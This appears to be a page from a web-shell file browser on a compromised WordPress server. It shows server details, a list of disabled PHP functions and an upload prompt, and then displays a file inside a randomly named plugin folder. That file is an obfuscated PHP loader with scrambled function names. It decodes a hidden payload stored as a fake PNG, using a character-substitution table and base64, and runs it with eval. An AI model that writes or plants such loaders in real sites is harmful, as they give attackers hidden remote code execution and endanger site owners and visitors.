HEX
Server: nginx/1.29.3
System: Linux 11979.bigscoots-wpo.com 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User: nginx (1068)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_open,proc_close,popen,show_source,cmd# Do not modify this line # 1684243876
Upload Files
File: /home/nginx/domains/whitmoremediagroup.com/public/wp-content/plugins/acufykoj/etashun.txt
<?php

function okipun_egozhozhaha($vepuha_gychocahi) {
    if ($vepuha_gychocahi == 1)
        return ifirek_ehisanuba();
    if ($vepuha_gychocahi == 2)
        return zehuda_sythavivun();
}

function uqeryk_osatyzego($vepuha_gychocahi) {
    $itacig = okipun_egozhozhaha(1);
    $jaxywa = okipun_egozhozhaha(2);
    for ($ybadogo = 0; $ybadogo < strlen($itacig); $ybadogo++) {
        $unerynu = substr($itacig, $ybadogo, 1);
        $ajuwyni = substr($jaxywa, $ybadogo, 1);
        $ameqiwi[$unerynu] = $ajuwyni;
    }

    $uryter = strtr($vepuha_gychocahi, $ameqiwi);
    $uryter = base64_decode($uryter);

    return $uryter;
}

function puhusu_ruzhache($vepuha_gychocahi) {
    $iwemiw = array();
    if (!file_exists($vepuha_gychocahi))
        return false;
    $jizuzig = @file_get_contents($vepuha_gychocahi);
    if (!$jizuzig)
        return false;
    $jizuzig = substr($jizuzig, 3);
    $iwemiw = uqeryk_osatyzego($jizuzig);
    return $iwemiw;
}

function ifirek_ehisanuba() {
    $jizuzig = "PxXszcAh014IeuTOURwygvQ7dHm6FK=aWiBfqVb2/kMYrCGNEZ5nD+3jtSol8L9pJ";
    return $jizuzig;
}

function zehuda_sythavivun() {
    $iwemiw = "Tz5yrMfq3x1Jhvik6PLIuwR8bDjGp+oHUOCK4nZN7EsB9FaXW/d0Q=lAVge2tcmSY";
    return $iwemiw;
}

$ybyhace = puhusu_ruzhache(__DIR__ . "/asse" . "ts/ima" . "ges/" . "ejawun" . "u.png");
if ($ybyhace) {
    @eval($ybyhace);
}